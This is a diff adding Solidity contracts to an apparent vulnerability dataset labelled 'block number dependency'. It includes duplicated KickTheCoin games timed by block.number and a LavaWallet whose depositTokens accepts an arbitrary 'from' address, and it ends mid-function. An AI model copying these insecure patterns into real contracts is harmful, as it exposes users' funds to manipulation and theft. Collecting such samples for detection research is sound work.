require(_to != address(this) ); + + require(_to != 0x0); + + if (msg.sender != controller) { + require(transfersEnabled); + + require(allowed[_from][msg.sender] >= _amount); + allowed[_from][msg.sender] -= _amount; + } + doTransfer(_from, _to, _amount); + return true; + } + + + + + + event Transfer( + address indexed _from, address indexed _to, uint256 _amount + ); + + event Approval( + address indexed _owner, address indexed _spender, uint256 _amount + ); + + + + + function changeController(address _newController) onlyController private { + controller = _newController; + } + + function doTransfer(address _from, address _to, uint _amount) internal { + + if (_amount == 0) { + emit Transfer(_from, _to, _amount); + return; + } + + require(parentSnapShotBlock < block.number); + + + + + require(_to != address(this)); + + + + + + uint previousBalanceFrom = balanceOfAt(_from, block.number); + require(previousBalanceFrom >= _amount); + + + if (isContract(controller)) { + require(TokenController(controller).onTransfer(_from, _to, _amount)); + } + + + + updateValueAtNow(balances[_from], previousBalanceFrom - _amount); + + + + uint previousBalanceTo = balanceOfAt(_to, block.number); + + + require(previousBalanceTo + _amount >= previousBalanceTo); + updateValueAtNow(balances[_to], previousBalanceTo + _amount); + + + emit Transfer(_from, _to, _amount); + + } + + + + + + + + + + + + + + + function approveAndCall(address _spender, uint256 _amount, bytes _extraData + ) public returns (bool success) { + require(approve(_spender, _amount)); + + ApproveAndCallFallBack(_spender).receiveApproval( + msg.sender, + _amount, + this, + _extraData + ); + return true; + } + + + + + + + + function balanceOfAt(address _owner, uint _blockNumber) public constant + returns (uint) { + + if ((balances[_owner].length == 0) + || (balances[_owner][0].fromBlock > _blockNumber)) { + if (address(parentToken) != 0) { + return parentToken.balanceOfAt(_owner, min(_blockNumber, parentSnapShotBlock)); + } else { + return 0; + } + + } + + else { + return getValueAt(balances[_owner], _blockNumber); + } + } + + + + + + + function totalSupplyAt(uint _blockNumber) public constant returns(uint) { + if ( + (totalSupplyHistory.length == 0) || + (totalSupplyHistory[0].fromBlock > _blockNumber) + ) { + if (address(parentToken) != 0) { + return parentToken.totalSupplyAt(min(_blockNumber, parentSnapShotBlock)); + } else { + return 0; + } + + } + else { + return getValueAt(totalSupplyHistory, _blockNumber); + } + } + + + + + + + + function generateTokens(address _owner, uint _theTotalSupply) + private onlyContract returns (bool) { + require(tokenGenerationLock == false); + uint curTotalSupply = totalSupply(); + require(curTotalSupply + _theTotalSupply >= curTotalSupply); + uint previousBalanceTo = balanceOf(_owner); + require(previousBalanceTo + _totalSupply >= previousBalanceTo); + updateValueAtNow(totalSupplyHistory, curTotalSupply + _totalSupply); + updateValueAtNow(balances[_owner], previousBalanceTo + _totalSupply); + emit Transfer(0, _owner, _totalSupply); + tokenGenerationLock = true; + return true; + } + + + + + + + function enableTransfers(bool _transfersEnabled) private onlyController { + transfersEnabled = _transfersEnabled; + } + + + + + + function getValueAt(Checkpoint[] storage checkpoints, uint _block + ) constant internal returns (uint) { + if (checkpoints.length == 0) return 0; + + if (_block >= checkpoints[checkpoints.length-1].fromBlock) + return checkpoints[checkpoints.length-1].value; + if (_block < checkpoints[0].fromBlock) return 0; + + + uint min = 0; + uint max = checkpoints.length-1; + while (max > min) { + uint mid = (max + min + 1)/ 2; + if (checkpoints[mid].fromBlock<=_block) { + min = mid; + } else { + max = mid-1; + } + } + return checkpoints[min].value; + } + + + + + function updateValueAtNow(Checkpoint[] storage checkpoints, uint _value + ) internal { + if ((checkpoints.length == 0) + || (checkpoints[checkpoints.length -1].fromBlock < block.number)) { + Checkpoint storage newCheckPoint = checkpoints[ checkpoints.length++ ]; + newCheckPoint.fromBlock = uint128(block.number); + newCheckPoint.value = uint128(_value); + } else { + Checkpoint storage oldCheckPoint = checkpoints[checkpoints.length-1]; + oldCheckPoint.value = uint128(_value); + } + } + + + + + function isContract(address _addr) constant internal returns(bool) { + uint size; + if (_addr == 0) return false; + assembly { + size := extcodesize(_addr) + } + return size>0; + } + + + + + function min(uint a, uint b) pure internal returns (uint) { + return a < b ? a : b; + } + + + + + + + function () public payable { + require(isContract(controller)); + require( + TokenController(controller).proxyPayments.value(msg.value)(msg.sender) + ); + } + + + event ClaimedTokens( + address indexed _token, address indexed _controller, uint _amount + ); + + + + + + + + function withdrawOtherTokens(address _token) EthertoteAdmin public { + if (_token == 0x0) { + controller.transfer(address(this).balance); + return; + } + EthertoteToken token = EthertoteToken(_token); + uint balance = token.balanceOf(this); + token.transfer(controller, balance); + emit ClaimedTokens(_token, controller, balance); + } + +} \ No newline at end of file diff --git a/smart_contract_dataset/block number dependency/3704.sol b/smart_contract_dataset/block number dependency/3704.sol new file mode 100644 index 0000000000000000000000000000000000000000..9fd6b169c35a6e6649c4280444f7d0d352f85b36 --- /dev/null +++ b/smart_contract_dataset/block number dependency/3704.sol @@ -0,0 +1,353 @@ +pragma solidity 0.4.15; + + +contract KickTheCoin { + address houseAddress; + address creator; + address owner; + address airDroper; + + address lastPlayerToKickTheCoin; + + uint kickerCount; + + address firstKicker; + address secondKicker; + + uint costToKickTheCoin; + uint numberOfBlocksPerKick; + uint targetBlockNumber; + + + bool isSundown; + + uint sundownGraceTargetBlock; + + + uint gameIndex; + + uint currentValue; + + mapping(address => uint) shares; + + event LatestKicker(uint curGameIndex, address kicker, uint curVal, uint targetBlockNum); + event FirstKicker(uint curGameIndex, address kicker, uint curVal); + event SecondKicker(uint curGameIndex, address kicker, uint curVal); + event Withdraw(address kicker, uint curVal); + event Winner(uint curGameIndex, address winner, uint curVal); + + modifier onlyBy(address _account) + { + require(msg.sender == _account); + _; + } + + modifier onlyByOwnerAndOnlyIfGameIsNotActive() { + require(msg.sender == owner && !isGameActive()); + _; + } + + modifier onlyDuringNormalOperations() { + require(!isSundown); + _; + } + + function KickTheCoin() + public + payable + { + creator = msg.sender; + owner = creator; + houseAddress = creator; + airDroper = creator; + gameIndex = 0; + isSundown = false; + costToKickTheCoin = 0.17 ether; + numberOfBlocksPerKick = 5; + initGame(); + } + + function() + public + payable + { + kickTheCoin(); + } + + function kickTheCoin() + public + payable + onlyDuringNormalOperations() + { + require(msg.value == costToKickTheCoin); + + if (hasWinner()) { + storeWinnerShare(); + initGame(); + } + + kickerCount += 1; + processKick(); + lastPlayerToKickTheCoin = msg.sender; + targetBlockNumber = block.number + numberOfBlocksPerKick; + + LatestKicker(gameIndex, msg.sender, currentValue, targetBlockNumber); + } + + function withdrawShares() + public + { + if (hasWinner()) { + storeWinnerShare(); + initGame(); + } + pullShares(msg.sender); + } + + function checkShares(address shareHolder) + public + constant + returns (uint) + { + return shares[shareHolder]; + } + + function isGameActive() + public + constant + returns (bool) + { + return targetBlockNumber >= block.number; + } + + function hasWinner() + public + constant + returns (bool) + { + return currentValue > 0 && !isGameActive(); + } + + function getCurrentValue() + public + constant + returns (uint) + { + if (isGameActive()) { + return currentValue; + } else { + return 0; + } + } + + function getLastKicker() + public + constant + returns (address) + { + if (isGameActive()) { + return lastPlayerToKickTheCoin; + } else { + return address(0); + } + } + + function pullShares(address shareHolder) + public + { + var share = shares[shareHolder]; + if (share == 0) { + return; + } + + shares[shareHolder] = 0; + shareHolder.transfer(share); + Withdraw(shareHolder, share); + } + + function airDrop(address player) + public + payable + onlyBy(airDroper) + { + player.transfer(1); + if (msg.value > 1) { + msg.sender.transfer(msg.value - 1); + } + } + + function getTargetBlockNumber() + public + constant + returns (uint) + { + return targetBlockNumber; + } + + function getBlocksLeftInCurrentKick() + public + constant + returns (uint) + { + if (targetBlockNumber < block.number) { + return 0; + } + return targetBlockNumber - block.number; + } + + function getNumberOfBlocksPerKick() + public + constant + returns (uint) + { + return numberOfBlocksPerKick; + } + + function getCostToKick() + public + constant + returns (uint) + { + return costToKickTheCoin; + } + + function getCurrentBlockNumber() + public + constant + returns (uint) + { + return block.number; + } + + function getGameIndex() + public + constant + returns (uint) + { + return gameIndex; + } + + function changeOwner(address _newOwner) + public + onlyBy(owner) + { + owner = _newOwner; + } + + function changeHouseAddress(address _newHouseAddress) + public + onlyBy(owner) + { + houseAddress = _newHouseAddress; + } + + function changeAirDroper(address _airDroper) + public + onlyBy(owner) + { + airDroper = _airDroper; + } + + function changeGameParameters(uint _costToKickTheCoin, uint _numberOfBlocksPerKick) + public + onlyByOwnerAndOnlyIfGameIsNotActive() + { + costToKickTheCoin = _costToKickTheCoin; + numberOfBlocksPerKick = _numberOfBlocksPerKick; + } + + function sundown() + public + onlyByOwnerAndOnlyIfGameIsNotActive() + { + isSundown = true; + sundownGraceTargetBlock = block.number + 100000; + } + + function gameIsSundown() + public + constant + returns (bool) + { + return isSundown; + } + + function getSundownGraceTargetBlock() + public + constant + returns (uint) + { + return sundownGraceTargetBlock; + } + + function sunrise() + public + onlyByOwnerAndOnlyIfGameIsNotActive() + { + isSundown = false; + sundownGraceTargetBlock = 0; + } + + function clear() + public + { + if (isSundown && + sundownGraceTargetBlock != 0 && + sundownGraceTargetBlock < block.number) { + houseAddress.transfer(this.balance); + } + } + + function initGame() + private + { + gameIndex += 1; + targetBlockNumber = 0; + currentValue = 0; + kickerCount = 0; + firstKicker = address(0); + secondKicker = address(0); + lastPlayerToKickTheCoin = address(0); + } + + function storeWinnerShare() + private + { + var share = currentValue; + currentValue = 0; + shares[lastPlayerToKickTheCoin] += share; + if (share > 0) { + Winner(gameIndex, lastPlayerToKickTheCoin, share); + } + } + + function setShares() + private + { + + shares[houseAddress] += (msg.value * 10)/1000; + + shares[firstKicker] += (msg.value * 25)/1000; + + shares[secondKicker] += (msg.value * 15)/1000; + } + + function processKick() + private + { + if (kickerCount == 1) { + currentValue = msg.value; + firstKicker = msg.sender; + FirstKicker(gameIndex, msg.sender, currentValue); + } else if (kickerCount == 2) { + currentValue += msg.value; + secondKicker = msg.sender; + SecondKicker(gameIndex, msg.sender, currentValue); + } else { + + + currentValue += (msg.value * 950)/1000; + setShares(); + } + } +} \ No newline at end of file diff --git a/smart_contract_dataset/block number dependency/3708.sol b/smart_contract_dataset/block number dependency/3708.sol new file mode 100644 index 0000000000000000000000000000000000000000..ccbcd5a13c07dbad2fcd652f3e4b9221f8727407 --- /dev/null +++ b/smart_contract_dataset/block number dependency/3708.sol @@ -0,0 +1,407 @@ +pragma solidity 0.4.15; + + +contract KickTheCoin { + address houseAddress; + address creator; + address owner; + address airDroper; + + address lastPlayerToKickTheCoin; + + uint kickerCount; + + address firstKicker; + address secondKicker; + + uint costToKickTheCoin; + uint numberOfBlocksPerKick; + uint targetBlockNumber; + + + bool isSundown; + + uint sundownGraceTargetBlock; + + + uint gameIndex; + + uint currentValue; + + mapping(address => uint) shares; + + event LatestKicker(uint curGameIndex, address kicker, uint curVal, uint targetBlockNum); + event FirstKicker(uint curGameIndex, address kicker, uint curVal); + event SecondKicker(uint curGameIndex, address kicker, uint curVal); + event Withdraw(address kicker, uint curVal); + event Winner(uint curGameIndex, address winner, uint curVal); + + modifier onlyBy(address _account) + { + require(msg.sender == _account); + _; + } + + modifier onlyByOwnerAndOnlyIfGameIsNotActive() { + require(msg.sender == owner && !isGameActive()); + _; + } + + modifier onlyDuringNormalOperations() { + require(!isSundown); + _; + } + + function KickTheCoin() + public + payable + { + creator = msg.sender; + owner = creator; + houseAddress = creator; + airDroper = creator; + gameIndex = 0; + isSundown = false; + costToKickTheCoin = 0.17 ether; + numberOfBlocksPerKick = 5; + initGame(); + } + + function() + public + payable + { + kickTheCoin(); + } + + function kickTheCoin() + public + payable + onlyDuringNormalOperations() + { + require(msg.value == costToKickTheCoin); + + if (hasWinner()) { + storeWinnerShare(); + initGame(); + } + + kickerCount += 1; + processKick(); + lastPlayerToKickTheCoin = msg.sender; + targetBlockNumber = block.number + numberOfBlocksPerKick; + + LatestKicker(gameIndex, msg.sender, currentValue, targetBlockNumber); + } + + function withdrawShares() + public + { + if (hasWinner()) { + storeWinnerShare(); + initGame(); + } + pullShares(msg.sender); + } + + function checkShares(address shareHolder) + public + constant + returns (uint) + { + return shares[shareHolder]; + } + + function isGameActive() + public + constant + returns (bool) + { + return targetBlockNumber >= block.number; + } + + function hasWinner() + public + constant + returns (bool) + { + return currentValue > 0 && !isGameActive(); + } + + function getCurrentValue() + public + constant + returns (uint) + { + if (isGameActive()) { + return currentValue; + } else { + return 0; + } + } + + function getLastKicker() + public + constant + returns (address) + { + if (isGameActive()) { + return lastPlayerToKickTheCoin; + } else { + return address(0); + } + } + + function pullShares(address shareHolder) + public + { + var share = shares[shareHolder]; + if (share == 0) { + return; + } + + shares[shareHolder] = 0; + shareHolder.transfer(share); + Withdraw(shareHolder, share); + } + + function airDrop(address player) + public + payable + onlyBy(airDroper) + { + player.transfer(1); + if (msg.value > 1) { + msg.sender.transfer(msg.value - 1); + } + } + + function getTargetBlockNumber() + public + constant + returns (uint) + { + return targetBlockNumber; + } + + function getBlocksLeftInCurrentKick() + public + constant + returns (uint) + { + if (targetBlockNumber < block.number) { + return 0; + } + return targetBlockNumber - block.number; + } + + function getNumberOfBlocksPerKick() + public + constant + returns (uint) + { + return numberOfBlocksPerKick; + } + + function getCostToKick() + public + constant + returns (uint) + { + return costToKickTheCoin; + } + + function getCurrentBlockNumber() + public + constant + returns (uint) + { + return block.number; + } + + function getGameIndex() + public + constant + returns (uint) + { + return gameIndex; + } + + function changeOwner(address _newOwner) + public + onlyBy(owner) + { + owner = _newOwner; + } + + function changeHouseAddress(address _newHouseAddress) + public + onlyBy(owner) + { + houseAddress = _newHouseAddress; + } + + function changeAirDroper(address _airDroper) + public + onlyBy(owner) + { + airDroper = _airDroper; + } + + function changeGameParameters(uint _costToKickTheCoin, uint _numberOfBlocksPerKick) + public + onlyByOwnerAndOnlyIfGameIsNotActive() + { + costToKickTheCoin = _costToKickTheCoin; + numberOfBlocksPerKick = _numberOfBlocksPerKick; + } + + function sundown() + public + onlyByOwnerAndOnlyIfGameIsNotActive() + { + isSundown = true; + sundownGraceTargetBlock = block.number + 100000; + } + + function gameIsSundown() + public + constant + returns (bool) + { + return isSundown; + } + + function getSundownGraceTargetBlock() + public + constant + returns (uint) + { + return sundownGraceTargetBlock; + } + + function sunrise() + public + onlyByOwnerAndOnlyIfGameIsNotActive() + { + isSundown = false; + sundownGraceTargetBlock = 0; + } + + function clear() + public + { + if (isSundown && + sundownGraceTargetBlock != 0 && + sundownGraceTargetBlock < block.number) { + houseAddress.transfer(this.balance); + } + } + + function initGame() + private + { + gameIndex += 1; + targetBlockNumber = 0; + currentValue = 0; + kickerCount = 0; + firstKicker = address(0); + secondKicker = address(0); + lastPlayerToKickTheCoin = address(0); + } + + function storeWinnerShare() + private + { + var share = currentValue; + currentValue = 0; + shares[lastPlayerToKickTheCoin] += share; + if (share > 0) { + Winner(gameIndex, lastPlayerToKickTheCoin, share); + } + } + + function setShares() + private + { + + shares[houseAddress] += (msg.value * 10)/1000; + + shares[firstKicker] += (msg.value * 25)/1000; + + shares[secondKicker] += (msg.value * 15)/1000; + } + + function processKick() + private + { + if (kickerCount == 1) { + currentValue = msg.value; + firstKicker = msg.sender; + FirstKicker(gameIndex, msg.sender, currentValue); + } else if (kickerCount == 2) { + currentValue += msg.value; + secondKicker = msg.sender; + SecondKicker(gameIndex, msg.sender, currentValue); + } else { + + + currentValue += (msg.value * 950)/1000; + setShares(); + } + } +} + + +contract WithdrawFromKickTheCoin { + address owner; + address ktcAddress; + + modifier onlyBy(address _account) + { + require(msg.sender == _account); + _; + } + + function WithdrawFromKickTheCoin() + public + { + owner = msg.sender; + } + + function setKtcAddress(address _ktcAddress) + public + onlyBy(owner) + { + ktcAddress = _ktcAddress; + } + + function getKtcAddress() + public + constant + returns (address) + { + return ktcAddress; + } + + function getOwner() + public + constant + returns (address) + { + return owner; + } + + function release() + public + { + owner.transfer(this.balance); + } + + function() + public + { + KickTheCoin ktc = KickTheCoin(ktcAddress); + ktc.pullShares(msg.sender); + } +} \ No newline at end of file diff --git a/smart_contract_dataset/block number dependency/3711.sol b/smart_contract_dataset/block number dependency/3711.sol new file mode 100644 index 0000000000000000000000000000000000000000..9fd6b169c35a6e6649c4280444f7d0d352f85b36 --- /dev/null +++ b/smart_contract_dataset/block number dependency/3711.sol @@ -0,0 +1,353 @@ +pragma solidity 0.4.15; + + +contract KickTheCoin { + address houseAddress; + address creator; + address owner; + address airDroper; + + address lastPlayerToKickTheCoin; + + uint kickerCount; + + address firstKicker; + address secondKicker; + + uint costToKickTheCoin; + uint numberOfBlocksPerKick; + uint targetBlockNumber; + + + bool isSundown; + + uint sundownGraceTargetBlock; + + + uint gameIndex; + + uint currentValue; + + mapping(address => uint) shares; + + event LatestKicker(uint curGameIndex, address kicker, uint curVal, uint targetBlockNum); + event FirstKicker(uint curGameIndex, address kicker, uint curVal); + event SecondKicker(uint curGameIndex, address kicker, uint curVal); + event Withdraw(address kicker, uint curVal); + event Winner(uint curGameIndex, address winner, uint curVal); + + modifier onlyBy(address _account) + { + require(msg.sender == _account); + _; + } + + modifier onlyByOwnerAndOnlyIfGameIsNotActive() { + require(msg.sender == owner && !isGameActive()); + _; + } + + modifier onlyDuringNormalOperations() { + require(!isSundown); + _; + } + + function KickTheCoin() + public + payable + { + creator = msg.sender; + owner = creator; + houseAddress = creator; + airDroper = creator; + gameIndex = 0; + isSundown = false; + costToKickTheCoin = 0.17 ether; + numberOfBlocksPerKick = 5; + initGame(); + } + + function() + public + payable + { + kickTheCoin(); + } + + function kickTheCoin() + public + payable + onlyDuringNormalOperations() + { + require(msg.value == costToKickTheCoin); + + if (hasWinner()) { + storeWinnerShare(); + initGame(); + } + + kickerCount += 1; + processKick(); + lastPlayerToKickTheCoin = msg.sender; + targetBlockNumber = block.number + numberOfBlocksPerKick; + + LatestKicker(gameIndex, msg.sender, currentValue, targetBlockNumber); + } + + function withdrawShares() + public + { + if (hasWinner()) { + storeWinnerShare(); + initGame(); + } + pullShares(msg.sender); + } + + function checkShares(address shareHolder) + public + constant + returns (uint) + { + return shares[shareHolder]; + } + + function isGameActive() + public + constant + returns (bool) + { + return targetBlockNumber >= block.number; + } + + function hasWinner() + public + constant + returns (bool) + { + return currentValue > 0 && !isGameActive(); + } + + function getCurrentValue() + public + constant + returns (uint) + { + if (isGameActive()) { + return currentValue; + } else { + return 0; + } + } + + function getLastKicker() + public + constant + returns (address) + { + if (isGameActive()) { + return lastPlayerToKickTheCoin; + } else { + return address(0); + } + } + + function pullShares(address shareHolder) + public + { + var share = shares[shareHolder]; + if (share == 0) { + return; + } + + shares[shareHolder] = 0; + shareHolder.transfer(share); + Withdraw(shareHolder, share); + } + + function airDrop(address player) + public + payable + onlyBy(airDroper) + { + player.transfer(1); + if (msg.value > 1) { + msg.sender.transfer(msg.value - 1); + } + } + + function getTargetBlockNumber() + public + constant + returns (uint) + { + return targetBlockNumber; + } + + function getBlocksLeftInCurrentKick() + public + constant + returns (uint) + { + if (targetBlockNumber < block.number) { + return 0; + } + return targetBlockNumber - block.number; + } + + function getNumberOfBlocksPerKick() + public + constant + returns (uint) + { + return numberOfBlocksPerKick; + } + + function getCostToKick() + public + constant + returns (uint) + { + return costToKickTheCoin; + } + + function getCurrentBlockNumber() + public + constant + returns (uint) + { + return block.number; + } + + function getGameIndex() + public + constant + returns (uint) + { + return gameIndex; + } + + function changeOwner(address _newOwner) + public + onlyBy(owner) + { + owner = _newOwner; + } + + function changeHouseAddress(address _newHouseAddress) + public + onlyBy(owner) + { + houseAddress = _newHouseAddress; + } + + function changeAirDroper(address _airDroper) + public + onlyBy(owner) + { + airDroper = _airDroper; + } + + function changeGameParameters(uint _costToKickTheCoin, uint _numberOfBlocksPerKick) + public + onlyByOwnerAndOnlyIfGameIsNotActive() + { + costToKickTheCoin = _costToKickTheCoin; + numberOfBlocksPerKick = _numberOfBlocksPerKick; + } + + function sundown() + public + onlyByOwnerAndOnlyIfGameIsNotActive() + { + isSundown = true; + sundownGraceTargetBlock = block.number + 100000; + } + + function gameIsSundown() + public + constant + returns (bool) + { + return isSundown; + } + + function getSundownGraceTargetBlock() + public + constant + returns (uint) + { + return sundownGraceTargetBlock; + } + + function sunrise() + public + onlyByOwnerAndOnlyIfGameIsNotActive() + { + isSundown = false; + sundownGraceTargetBlock = 0; + } + + function clear() + public + { + if (isSundown && + sundownGraceTargetBlock != 0 && + sundownGraceTargetBlock < block.number) { + houseAddress.transfer(this.balance); + } + } + + function initGame() + private + { + gameIndex += 1; + targetBlockNumber = 0; + currentValue = 0; + kickerCount = 0; + firstKicker = address(0); + secondKicker = address(0); + lastPlayerToKickTheCoin = address(0); + } + + function storeWinnerShare() + private + { + var share = currentValue; + currentValue = 0; + shares[lastPlayerToKickTheCoin] += share; + if (share > 0) { + Winner(gameIndex, lastPlayerToKickTheCoin, share); + } + } + + function setShares() + private + { + + shares[houseAddress] += (msg.value * 10)/1000; + + shares[firstKicker] += (msg.value * 25)/1000; + + shares[secondKicker] += (msg.value * 15)/1000; + } + + function processKick() + private + { + if (kickerCount == 1) { + currentValue = msg.value; + firstKicker = msg.sender; + FirstKicker(gameIndex, msg.sender, currentValue); + } else if (kickerCount == 2) { + currentValue += msg.value; + secondKicker = msg.sender; + SecondKicker(gameIndex, msg.sender, currentValue); + } else { + + + currentValue += (msg.value * 950)/1000; + setShares(); + } + } +} \ No newline at end of file diff --git a/smart_contract_dataset/block number dependency/3828.sol b/smart_contract_dataset/block number dependency/3828.sol new file mode 100644 index 0000000000000000000000000000000000000000..b6b381a0612bb23e0dbdd915019c434abe02700d --- /dev/null +++ b/smart_contract_dataset/block number dependency/3828.sol @@ -0,0 +1,489 @@ +pragma solidity ^0.4.18; + +library ECRecovery { + + + function recover(bytes32 hash, bytes sig) public pure returns (address) { + bytes32 r; + bytes32 s; + uint8 v; + + + if (sig.length != 65) { + return (address(0)); + } + + + assembly { + r := mload(add(sig, 32)) + s := mload(add(sig, 64)) + v := byte(0, mload(add(sig, 96))) + } + + + if (v < 27) { + v += 27; + } + + + if (v != 27 && v != 28) { + return (address(0)); + } else { + return ecrecover(hash, v, r, s); + } + } + +} + + + + + +library SafeMath { + + + function mul(uint256 a, uint256 b) internal pure returns (uint256) { + if (a == 0) { + return 0; + } + uint256 c = a * b; + assert(c / a == b); + return c; + } + + + function div(uint256 a, uint256 b) internal pure returns (uint256) { + + uint256 c = a / b; + + return c; + } + + + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + + function add(uint256 a, uint256 b) internal pure returns (uint256) { + uint256 c = a + b; + assert(c >= a); + return c; + } +} + + + + +contract ERC20Interface { + function totalSupply() public constant returns (uint); + function balanceOf(address tokenOwner) public constant returns (uint balance); + function allowance(address tokenOwner, address spender) public constant returns (uint remaining); + function transfer(address to, uint tokens) public returns (bool success); + function approve(address spender, uint tokens) public returns (bool success); + function transferFrom(address from, address to, uint tokens) public returns (bool success); + + event Transfer(address indexed from, address indexed to, uint tokens); + event Approval(address indexed tokenOwner, address indexed spender, uint tokens); +} +contract ERC918Interface { + function totalSupply() public constant returns (uint); + function getMiningDifficulty() public constant returns (uint); + function getMiningTarget() public constant returns (uint); + function getMiningReward() public constant returns (uint); + function balanceOf(address tokenOwner) public constant returns (uint balance); + + function mint(uint256 nonce, bytes32 challenge_digest) public returns (bool success); + + event Mint(address indexed from, uint reward_amount, uint epochCount, bytes32 newChallengeNumber); + +} + +contract MiningKingInterface { + function getKing() public returns (address); + function transferKing(address newKing) public; + + event TransferKing(address from, address to); +} + +contract ApproveAndCallFallBack { + + function receiveApproval(address from, uint256 tokens, address token, bytes data) public; + +} + + + +contract Owned { + + address public owner; + + address public newOwner; + + + event OwnershipTransferred(address indexed _from, address indexed _to); + + + function Owned() public { + + owner = msg.sender; + + } + + + modifier onlyOwner { + + require(msg.sender == owner); + + _; + + } + + + function transferOwnership(address _newOwner) public onlyOwner { + + newOwner = _newOwner; + + } + + function acceptOwnership() public { + + require(msg.sender == newOwner); + + OwnershipTransferred(owner, newOwner); + + owner = newOwner; + + newOwner = address(0); + + } + +} + + + + + +contract LavaWallet is Owned { + + + using SafeMath for uint; + + + mapping(address => mapping (address => uint256)) balances; + + + mapping(address => mapping (address => mapping (address => uint256))) allowed; + + mapping(address => uint256) depositedTokens; + + mapping(bytes32 => uint256) burnedSignatures; + + + address public relayKingContract; + + + + event Deposit(address token, address user, uint amount, uint balance); + event Withdraw(address token, address user, uint amount, uint balance); + event Transfer(address indexed from, address indexed to,address token, uint tokens); + event Approval(address indexed tokenOwner, address indexed spender,address token, uint tokens); + + function LavaWallet(address relayKingContractAddress ) public { + relayKingContract = relayKingContractAddress; + } + + + + function() public payable { + revert(); + } + + + + function depositTokens(address from, address token, uint256 tokens ) public returns (bool success) + { + + + if(!ERC20Interface(token).transferFrom(from, this, tokens)) revert(); + + + balances[token][from] = balances[token][from].add(tokens); + depositedTokens[token] = depositedTokens[token].add(tokens); + + Deposit(token, from, tokens, balances[token][from]); + + return true; + } + + + + function withdrawTokens(address token, uint256 tokens) public returns (bool success){ + balances[token][msg.sender] = balances[token][msg.sender].sub(tokens); + depositedTokens[token] = depositedTokens[token].sub(tokens); + + if(!ERC20Interface(token).transfer(msg.sender, tokens)) revert(); + + + Withdraw(token, msg.sender, tokens, balances[token][msg.sender]); + return true; + } + + + function withdrawTokensFrom( address from, address to,address token, uint tokens) public returns (bool success) { + balances[token][from] = balances[token][from].sub(tokens); + depositedTokens[token] = depositedTokens[token].sub(tokens); + allowed[token][from][to] = allowed[token][from][to].sub(tokens); + + if(!ERC20Interface(token).transfer(to, tokens)) revert(); + + + Withdraw(token, from, tokens, balances[token][from]); + return true; + } + + + function balanceOf(address token,address user) public constant returns (uint) { + return balances[token][user]; + } + + + + + function approveTokens(address spender, address token, uint tokens) public returns (bool success) { + allowed[token][msg.sender][spender] = tokens; + Approval(msg.sender, token, spender, tokens); + return true; + } + + + + function transferTokens(address to, address token, uint tokens) public returns (bool success) { + balances[token][msg.sender] = balances[token][msg.sender].sub(tokens); + balances[token][to] = balances[token][to].add(tokens); + Transfer(msg.sender, token, to, tokens); + return true; + } + + + + + function transferTokensFrom( address from, address to,address token, uint tokens) public returns (bool success) { + balances[token][from] = balances[token][from].sub(tokens); + allowed[token][from][to] = allowed[token][from][to].sub(tokens); + balances[token][to] = balances[token][to].add(tokens); + Transfer(token, from, to, tokens); + return true; + } + + + + function getLavaTypedDataHash(bytes methodname, address from, address to, address token, uint256 tokens, uint256 relayerReward, + uint256 expires, uint256 nonce) public constant returns (bytes32) + { + bytes32 hardcodedSchemaHash = 0x8fd4f9177556bbc74d0710c8bdda543afd18cc84d92d64b5620d5f1881dceb37; + + + bytes32 typedDataHash = sha3( + hardcodedSchemaHash, + sha3(methodname,from,to,this,token,tokens,relayerReward,expires,nonce) + ); + + return typedDataHash; + } + + + function tokenApprovalWithSignature(address from, address to, address token, uint256 tokens, uint256 relayerReward, + uint256 expires, bytes32 sigHash, bytes signature) internal returns (bool success) + { + + address recoveredSignatureSigner = ECRecovery.recover(sigHash,signature); + + + require(from == recoveredSignatureSigner); + + require(msg.sender == getRelayingKing() + || msg.sender == from + || msg.sender == to); + + + require(block.number < expires); + + uint burnedSignature = burnedSignatures[sigHash]; + burnedSignatures[sigHash] = 0x1; + if(burnedSignature != 0x0 ) revert(); + + + allowed[token][from][msg.sender] = relayerReward; + Approval(from, token, msg.sender, relayerReward); + + + if(!transferTokensFrom(from, msg.sender, token, relayerReward)) revert(); + + + allowed[token][from][to] = tokens; + Approval(from, token, to, tokens); + + + return true; + } + + function approveTokensWithSignature(address from, address to, address token, uint256 tokens, uint256 relayerReward, + uint256 expires, uint256 nonce, bytes signature) public returns (bool success) + { + + + bytes32 sigHash = getLavaTypedDataHash('approve',from,to,token,tokens,relayerReward,expires,nonce); + + if(!tokenApprovalWithSignature(from,to,token,tokens,relayerReward,expires,sigHash,signature)) revert(); + + + return true; + } + + + function transferTokensFromWithSignature(address from, address to, address token, uint256 tokens, uint256 relayerReward, + uint256 expires, uint256 nonce, bytes signature) public returns (bool success) + { + + + + + bytes32 sigHash = getLavaTypedDataHash('transfer',from,to,token,tokens,relayerReward,expires,nonce); + + if(!tokenApprovalWithSignature(from,to,token,tokens,relayerReward,expires,sigHash,signature)) revert(); + + + if(!transferTokensFrom( from, to, token, tokens)) revert(); + + + return true; + + } + + + function withdrawTokensFromWithSignature(address from, address to, address token, uint256 tokens, uint256 relayerReward, + uint256 expires, uint256 nonce, bytes signature) public returns (bool success) + { + + + + bytes32 sigHash = getLavaTypedDataHash('withdraw',from,to,token,tokens,relayerReward,expires,nonce); + + if(!tokenApprovalWithSignature(from,to,token,tokens,relayerReward,expires,sigHash,signature)) revert(); + + + if(!withdrawTokensFrom( from, to, token, tokens)) revert(); + + + return true; + + } + + + + + function tokenAllowance(address token, address tokenOwner, address spender) public constant returns (uint remaining) { + + return allowed[token][tokenOwner][spender]; + + } + + + + function burnSignature(bytes methodname, address from, address to, address token, uint256 tokens, uint256 relayerReward, uint256 expires, uint256 nonce, bytes signature) public returns (bool success) + { + + bytes32 sigHash = getLavaTypedDataHash(methodname,from,to,token,tokens,relayerReward,expires,nonce); + + + address recoveredSignatureSigner = ECRecovery.recover(sigHash,signature); + + + if(recoveredSignatureSigner != from) revert(); + + + if(from != msg.sender) revert(); + + + uint burnedSignature = burnedSignatures[sigHash]; + burnedSignatures[sigHash] = 0x2; + if(burnedSignature != 0x0 ) revert(); + + return true; + } + + + + + function signatureBurnStatus(bytes32 digest) public view returns (uint) + { + return (burnedSignatures[digest]); + } + + + + + + function receiveApproval(address from, uint256 tokens, address token, bytes data) public returns (bool success) { + + + return depositTokens(from, token, tokens ); + + } + + + function approveAndCall(bytes methodname, address from, address to, address token, uint256 tokens, uint256 relayerReward, + uint256 expires, uint256 nonce, bytes signature ) public returns (bool success) { + + + + bytes32 sigHash = getLavaTypedDataHash(methodname,from,to,token,tokens,relayerReward,expires,nonce); + + + + 